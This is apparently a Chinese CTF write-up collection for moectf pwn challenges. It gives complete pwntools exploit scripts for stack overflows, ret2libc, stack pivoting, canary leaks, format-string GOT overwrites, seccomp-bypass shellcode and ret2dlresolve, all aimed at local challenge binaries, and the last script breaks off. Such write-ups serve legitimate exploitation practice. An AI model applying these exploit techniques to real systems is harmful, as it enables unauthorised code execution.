from pwn import *

filename = "./pwn"
libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
# io = remote("localhost", 46203)
gdb.attach(
 io, gdbscript='''
 b *laker
 b *photo
 ''')


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)

def ia():
 return io.interactive()



payload = b"xdulaker"*5

sl(b'1')
ru(b'gift:')

opt_addr = io.recvuntil(b'\n', drop=True).strip().decode()
opt_addr = int(opt_addr, 16)
log.info(VIO_TEXT(f"opt_addr: {hex(opt_addr)}"))

pie_base = opt_addr - 0x4010
backdoor_addr = pie_base + 0x124E

log.info(VIO_TEXT(f"pit_base: {hex(pie_base)}"))
log.info(VIO_TEXT(f"backdoor_addr: {hex(backdoor_addr)}"))


io.recv()
sl(b'2')

sa(b'name?!', payload)


io.recv()
sl(b'2')

sa(b'name?!', payload)

io.recv()
sl(b'3')

payload = cyclic(48+8)+p64(backdoor_addr+1)
sl(payload)
# sla(b'laker\n', payload)

ia()

easylibc

got延迟绑定，要使用libc函数后再次返回main使用才能获取真正libc地址，开了pie

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107


from pwn import *

filename = "./pwn"
libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


# io = process(filename)
libc = ELF(libc)
elf = ELF(filename)
io = remote("localhost", 39367)

# gdb.attach(io, gdbscript='''
# b *puts
# ''')


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)

def ia():
 return io.interactive()


ru(b"I use ")
leak = ru(' ').strip().decode()

log.success(VIO_TEXT(f"leak: {leak}"))

leak = int(leak, 16)
pie_delta = 0x1060
pie_base = leak - pie_delta

read = leak+0x50
read_plt = elf.plt['read']
elf_base = read-read_plt

log.success(VIO_TEXT(f"pie_base: {hex(pie_base)}"))
start = elf.symbols['_start']+elf_base+4
log.success(VIO_TEXT(f"start_addr: {hex(start)}"))

ret = elf_base+0x00101a+4
log.info(f"ret:{hex(ret)}")

payload = cyclic(32+8)+p64(start)
se(payload)

ru(b"I use ")
read_addr_true = int(ru(' ').strip().decode(), 16)
libc_base = read_addr_true-libc.symbols['read']
log.success(CLEAR_TEXT(f"libc_addr: {hex(libc_base)}"))
log.success(CLEAR_TEXT(f"read_addr_true: {hex(read_addr_true)}"))

rop = ROP(libc)
pop_rdi = libc_base + 0x2a3e5
binsh = libc_base + libc.search(b"/bin/sh\x00").__next__()
system = libc_base + libc.symbols['system']

offset = 40

payload = flat(
 b"A" * offset,
 ret,
 pop_rdi,
 binsh,
 system,
)

sl(payload)

io.interactive()
# moectf{How_cAn_You_g3t_This-L1BC-@DDR712d46}

ezpivot

栈迁移
我们的栈溢出需要溢出从 ret 开始 pop_rdi，&"/bin/sh"，ret，system_plt 四个地址，也就是需要 0x28 的长度，而本题的溢出长度不够，我们需要考虑栈迁移。
在第一个 read 前存在整数溢出，我们输入 -1 即可往 desc 内读入任意字节。

我们先向 desc+0x800 的位置写入我们的 ROP 链，然后覆盖 rbp 为 desc+0x800 ，覆盖 ret 为 leave_addr，即可实现栈迁移执行我们写入 data 段上的 ROP 链即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112


from pwn import *
import argparse
import argcomplete

parser = argparse.ArgumentParser(
 description="Exploit script for pwn challenge.")
parser.add_argument('--remote', action='store_true',
 help="Connect to remote service")
parser.add_argument('--debug', action='store_true',
 help="Attach GDB for debugging")
parser.add_argument('--ip', default='localhost', help="Remote IP address")
parser.add_argument('--port', type=int, default=35515, help="Remote port")

args = parser.parse_args()


filename = './pwn'
# libc_path = './libc.so.6'
arch = 'amd64'

context.log_level = 'debug'
context.arch = arch
context.os = "linux"
context.terminal = ["tmux", "splitw", "-h"]

elf = ELF(filename)
# libc = ELF(libc_path)


def start():
 if args.remote:
 io = remote(args.ip, args.port)
 else:
 io = process(filename)
 if args.debug:
 gdb.attach(io, gdbscript='''
 b *0x401334
 ''')
 return io


def register_io_shortcuts(io):
 global se, sl, sla, sa, slt, st
 global rc, rn, rr, ru, ra, rl, rls, rle, rlc
 global ia, ic

 se = io.send
 sl = io.sendline
 sla = io.sendlineafter
 sa = io.sendafter
 slt = io.sendlinethen
 st = io.sendthen

 rc = io.recv
 rn = io.recvn
 rr = io.recvregex
 ru = io.recvuntil
 ra = io.recvall
 rl = io.recvline
 rls = io.recvline_startswith
 rle = io.recvline_endswith
 rlc = io.recvline_contains

 ia = io.interactive
 ic = io.close

# def uu32(data): return u32(data.ljust(4, b"\x00"))
# def uu64(data): return u64(data.ljust(8, b"\x00"))
# def get_64(): return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
# def get_32(): return u32(io.recvuntil(b"\x7f")[-4:].ljust(4, b"\x00"))


def VIO_TEXT(x, code=95): return f"\x1b[{code}m{x}\x1b[0m"
def CLEAR_TEXT(x, code=32): return f"\x1b[{code}m{x}\x1b[0m"


def main():
 global io
 io = start()
 register_io_shortcuts(io)
 system_plt = 0x4010a0
 pop_rdi_ret = 0x401219
 leave_ret = 0x40120F
 ret_addr = 0x40101a
 bss = 0x404060
 pivot_bss = 0x404060+0x800

 ru(b'introduction.')
 sl(str(-1)) # 整数溢出

 payload = flat([
 b'a'*0x800,
 b'/bin/sh\x00',
 pop_rdi_ret,
 pivot_bss,
 ret_addr,
 system_plt,
 ])

 se(payload)

 ru(b'phone number:\n')

 payload = cyclic(12)+p64(pivot_bss)+p64(leave_ret)

 se(payload)

 ia()


if __name__ == "__main__":
 main()

ezprotection

泄漏canary
pie不改变低12bit也就是低三位，爆破1/16的backdoor地址，直接绕过password检测即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "43661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *$rebase(0x1380)
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
rc = io.recv
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive

payload = b'a'*24
payload += b'b'

sa("you.\n", payload)
ru(b'b')

canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success(VIO_TEXT(f"Canary is:{hex(canary)}"))

payload = b'a'*24+p64(canary)+b'b'*8+b'\x8c\xf2'

rc()
se(payload)

ia()

fmt_S

第一次写入，得到栈上一个地址指向main函数第二次写入，通过得到的栈地址写入到栈上位置

根据计算往上一次泄漏出的位置8-2就是我们可以控制的位置，在此写入一个main

第三次通过八个字节刚好可以写入/bin/sh\x00，通过system()来实现系统调用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
# p = remote('localhost', 37307)

def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc/libc.so.6')
system = 0x40127B

gdb.attach(p, gdbscript='''
 b *talk
 b *0x40131E
 b *0x4012F6
''')
payload = b'%8$p'
p.sendafter("You start talking to him...\n", payload)
p.recvuntil('0x')
stack_ret = int(p.recv(12), 16) - 0x18
log.success(VIO_TEXT("stack_ret: " + hex(stack_ret)))
p.sendafter("You enraged the monster-prepare for battle!\n", 'a' * 8)

count = stack_ret & 0xffff
payload2 = f'%{count}c%6$hn'.format().encode()
p.sendafter("You start talking to him...\n", payload2)
p.sendafter("You enraged the monster-prepare for battle!\n", 'a' * 8)

count = system & 0xffff
payload3 = f'%{count}c%47$hn'.format().encode()
p.sendafter("You start talking to him...\n", payload3)
p.sendafter("You enraged the monster-prepare for battle!\n", '/bin/sh\x00')

p.interactive()

fmt_T

程序外部一个格式化字符串可以帮助泄漏libc地址，而内部是递归的，所以只能进行写地址而且是4 16 27的允许写入数量，写one_gadget无效。而可以写printf_got
所以内部的写入如下

传入sh|%来写入sh参数，因为要判断%否则不允许写入所以只能写sh
在栈空间上写入pirntf_got用于修改为system
要写2.5个字节，在最后一次写入两次实现，抬一次地址写1.5字节

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "35661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x4012d9
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


def hell(x):
 sa(b"hell.\n", x)


sl(b'%3$p')
leak_str = rl(keepends=False).decode()
leak_addr = int(leak_str, 16)
log.info(VIO_TEXT(f"try to leak-read?:{hex(leak_addr)}"))

libc.address = leak_addr-18-libc.sym['read'] # 泄漏出read来leak libc
system_addr = libc.sym['system']
log.success(VIO_TEXT(f"system:{hex(system_addr)}"))

printf_got = elf.got["printf"]
log.info(VIO_TEXT(f"printf@GOT: {hex(printf_got)}"))

# fgets最多读入len-1字符，第一次输入sh |% 使得可以被printf作为参数
hell("sh|%")

# 第二次先往栈上写一个printf_got的地址
printf_got = elf.got['printf']
# 通过写入到紧靠的下一个位置，使得可以写5位的prinf_got->system
payload_16 = (p64(printf_got) + p64(printf_got+1))[:15]

hell(payload_16)

system_low = system_addr & 0xff
system_high = (system_addr >> 8) & 0xffff
system_high = (system_high-system_low+0x10000) & 0xffff # 写入要写到高位还需要的字节
# system_high = (system_high-system_low) & 0xffff

log.info(VIO_TEXT(
 f"system_low:{hex(system_low)} and system_high:{hex(system_high)}")
)

# 先写低位一个字节在写高位两个字节实现写三位
payload_27 = f"%{system_low}c%24$hhn%{system_high}c%25$hn".encode()
# payload_27 = f"%{system_low}c%24$hhn".encode()
print(len(payload_27))
sla(b"hell.\n", payload_27)
# payload_test = "%25$p"
# sla(b"hell.\n", payload_test)

io.interactive()

hard_pivot

只用read实现读和写，多次栈迁移板子，羊城杯pstack

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

libc_name = "./libc.so.6"
filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "43747"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *read
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains

leave_ret = 0x40127b
bss_buffer = 0x4040a0+0x500
pop_rbp_ret = 0x4011a1
pop_rdi_ret = 0x40119e
vuln_read = 0x401264


# pivot rbp
payload1 = flat(
 b'a'*(64),
 p64(bss_buffer+0x40),
 p64(vuln_read)
)
sa(b"> ", payload1)


# ROP leak
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = flat(
 {
 0x00: p64(pop_rdi_ret),
 0x08: p64(puts_got),
 0x10: p64(puts_plt), # leak-libc
 0x18: p64(pop_rbp_ret),
 0x20: p64(bss_buffer+0x200+0x40), # 这里是为payload3做准备
 0x28: p64(vuln_read), # 因为开辟空间所以+0x40,这样刚好从bss_buffer+0x200开始写payload3
 0x40: p64(bss_buffer-0x8), # 更新rbp位置,开始leak
 0x48: p64(leave_ret) # 返回地址位置
 },
 filler=b"x",
 length=0x50
)
# test_payload = b'a'*0x40+b'b'*8+b'c'*8
se(payload2)
puts_addr = u64(rc(6).ljust(8, b'\x00'))
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh = libc.search('/bin/sh\x00').__next__()

log.success(VIO_TEXT(f"puts_addr:{hex(puts_addr)}"))
log.success(VIO_TEXT(f"system_addr:{hex(system_addr)}"))


# ROP system
log.info(CLEAR_TEXT(
 f"Hey! Nan0in is really good at pivoting, let's try to call system() now!"))
ret_addr = 0x040101a
payload3 = flat(
 {
 0x0: p64(pop_rdi_ret),
 0x8: p64(binsh),
 0x10: p64(system_addr),
 0x40: p64(bss_buffer+0x200-0x8), # 再次迁移执行payload2中布置好的ROP
 0x48: p64(leave_ret)
 },
 filler=b'x',
 length=0x50
)
se(payload3)


ia()

shellbox

沙箱

openat read write的orw可写，在哪里写？

一开始从v5=0开始检测，如果=1了直接退出，然后会8字节的写入到v4中，根据v5索引来，而如果在>=1的时候，buf中的内容刚好8字节写到返回地址以下，可以构造链子，尝试写mprotect将bss段写为可执行后写入shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

libc_name = ""
filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "37391"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x401B23
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
# prev
elf = ELF(filename)
# libc=ELF(libc_name)
se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


pop_rdi = 0x401A40
pop_rsi = 0x401A42
pop_rdx = 0x401A44
pop_rax = 0x44bbbb
pop_rbp = 0x401889
mprotect_buf = 0x4cd000
mprotect_addr = 0x443520
syscall = 0x401268
leave_ret = 0x401ab0
bss = 0x04CEB60
ret = 0x40101a


open_at_shellcode = asm("""
 xor rax, rax
 push rax
 mov rbx, 0x67616c66 /* "flag" */
 push rbx
 mov rsi, rsp /* rsi = &"flag" */

 /* openat(AT_FDCWD=-100, "flag", O_RDONLY=0, 0) */
 mov rdi, -100
 xor rdx, rdx /* flags = 0 */
 xor r10, r10 /* mode = 0 */
 mov rax, 257 /* SYS_openat */
 syscall
 mov rdi, rax /* save returned fd in rdi */

 /* read(fd, rsp, 0x100) */
 mov rsi, rsp
 mov rdx, 0x100
 xor rax, rax
 syscall

 /* write(1, rsp, 0x100) */
 mov rdi, 1
 mov rax, 1
 syscall
""")


log.info(VIO_TEXT(f"shellocde_lenth:{len(open_at_shellcode)}"))

shellcode = open_at_shellcode

# save to bss
sla(b"You have a box, fill it.\n", shellcode)

# second read,cover rip
sa(b">", b'AAAA' + p16(1))
sa(b">", p64(pop_rdi))
sa(b">", p64(mprotect_buf))
sa(b">", p64(pop_rsi))
sa(b">", p64(0x2000)) # 提权
sa(b">", p64(pop_rdx))
sa(b">", p64(7))
sa(b">", p64(mprotect_addr))
sa(b">", p64(bss))


io.interactive()

no_way_to_leak

1
2
3
4
5
6


ssize_t vuln()
{
 _BYTE buf[112]; // [rsp+0h] [rbp-70h] BYREF

 return read(0, buf, 256u);
}

有140多的栈溢出，存在Magic

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


.text:0000000000401156 magic proc near
.text:0000000000401156 ; __unwind {
.text:0000000000401156 endbr64
.text:000000000040115A push rbp
.text:000000000040115B mov rbp, rsp
.text:000000000040115E pop rdi
.text:000000000040115F retn
.text:000000000040115F magic endp
.text:000000000040115F
.text:0000000000401160 ; ---------------------------------------------------------------------------
.text:0000000000401160 pop rsi
.text:0000000000401161 retn
.text:0000000000401161 ; ---------------------------------------------------------------------------
.text:0000000000401162 db 90h
.text:0000000000401163 ; ---------------------------------------------------------------------------
.text:0000000000401163 pop rbp
.text:0000000000401164 retn
.text:0000000000401164 ; } // starts at 401156

除此之外就没有了，只有read的溢出可以利用。

另外

可用的函数符号也有限，无法正常泄漏出libc基地址，因此需要使用到ret2dlresolve

通过打开gdb的debug_infoset debuginfod enabled on以及设置拉取符号，我们可以看到具体调试的过程了

可以发现我们的read在执行的时候跳转到了0x401040也就对应IDA中去除符号的地方了，我们具体看看，跳转到.got.plt的部分，即got表去调用

而剩下

1
2
3


0x401040 endbr64
0x401044 push 1
0x401049 bnd jmp 0x401020 ; 进入 .plt[0]

push 1：把“PLT项号”压栈，这里是第 1 个项（read），Number = 1
然后跳到 .plt[0]（泛称为 PLT0 stub），这将跳转至动态链接器的解析函数。

借由这个部分，我们通过jmp跳转到了_dl_runtime_resolve_xsavec

执行了_dl_runtime_resolve(link_map,reloc_arg)

这个函数会完成符号的解析，即将真实的read函数地址写入其GOT表对应的条目中，随后将控制器交给被解析的函数

一路往下si，可以看到

执行了call _dl_fixup的函数，我们可以在glibc-database里拉取一份代码进行查看或者直接到elixir ，版本是2.31

可以去看我写的剖析re2dlresolve
这题你可以手写64位的ret2dlresolve,也可以调用pwntools的库，时间相差不是一点半点，而且其实手写64位ret2dlresolve后大部分情况下也是一个模板
在此给出两种解法

手写64位

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc-2.31.so"
arch = 'amd64'
remote_addr = "ip"
remote_port = "port"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x401224
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains
def n64(x): return (x + 0x10000000000000000) & 0xFFFFFFFFFFFFFFFF


def build_fake_link_map(fake_linkmap_addr, func, base_func='puts'):
 # &(2**64-1)是因为offset为负数，如果不控制范围，p64后会越界，发生错误
 offset = n64(libc.sym[func] - libc.sym[base_func])
# linkmap = p64(offset & (2 ** 64 - 1))#l_addr
 linkmap = p64(offset)
# fake_linkmap_addr + 8，也就是DT_JMPREL，至于为什么有个0，可以参考IDA上.dyamisc的结构内容
 linkmap += p64(0) # 可以为任意值
 linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址
# fake_linkmap_addr + 0x18,fake_rel_write, 因为write函数push的索引是0，也就是第 一项
# linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) #Rela->r_offset, 正常情况下这里应该存的是got表对应条目的地址，解析完成后在这个地址上存放函数的实际地址，此处我们只需要设置一个可读写的地址即可
 linkmap += p64(n64(elf.bss()-offset))
 linkmap += p64(0x7) # Rela->r_info, 用于索引symtab上的对应项，7>>32=0，也就是指向symtab的第一项
 linkmap += p64(0) # Rela->r_addend, 任意值都行
 linkmap += p64(0) # l_ns
# fake_linkmap_addr + 0x38, DT_SYMTAB
 linkmap += p64(0) # 参考IDA上.dyamisc的结构
 # 这里的值就是伪造的symtab的地址, 为已解析函数的got表地址-0x8
 linkmap += p64(elf.got[base_func] - 0x8)
 linkmap += b'/bin/sh\x00'
 linkmap = linkmap.ljust(0x68, b'A')
 # fake_linkmap_addr + 0x68, 对应的值的DT_STRTAB的地址，由于我们用不到strtab，所以随意设置了一个可读区域
 linkmap += p64(fake_linkmap_addr)
 # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
 linkmap += p64(fake_linkmap_addr + 0x38)
 linkmap = linkmap.ljust(0xf8, b'A')
 # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
 linkmap += p64(fake_linkmap_addr + 0x8)
 return linkmap


read_plt = elf.plt['read']
fake_linkmap_addr = elf.bss() + 0x100
new_stack = elf.bss() + 0x880
fake_link_map = build_fake_link_map(
 fake_linkmap_addr, 'system', 'read') # 伪造link_map
padding = 0x78
payload = b'a'*padding
payload += flat({
 0x00: next(elf.search(asm('ret'), executable=True)),
 0x08: next(elf.search(asm('pop rdi; ret'), executable=True)),
 0x10: 0,
 0x18: next(elf.search(asm('pop rsi; pop r15; ret'), executable=True)),
 0x20: fake_linkmap_addr,
 0x28: 0,
 0x30: elf.plt['read'],
 0x38: next(elf.search(asm('pop rdi; ret'), executable=True)),
 0x40: fake_linkmap_addr + 0x48,
 0x48: elf.get_section_by_name('.plt').header.sh_addr + 6,
 0x50: fake_linkmap_addr, # struct link_map *l
 0x58: 0 # ElfW(Word) reloc_arg
})

sl(payload)
pause()
se(fake_link_map)
ia()

使用pwntools集成

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

libc_name = "./libc-2.31.so"
filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "port"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
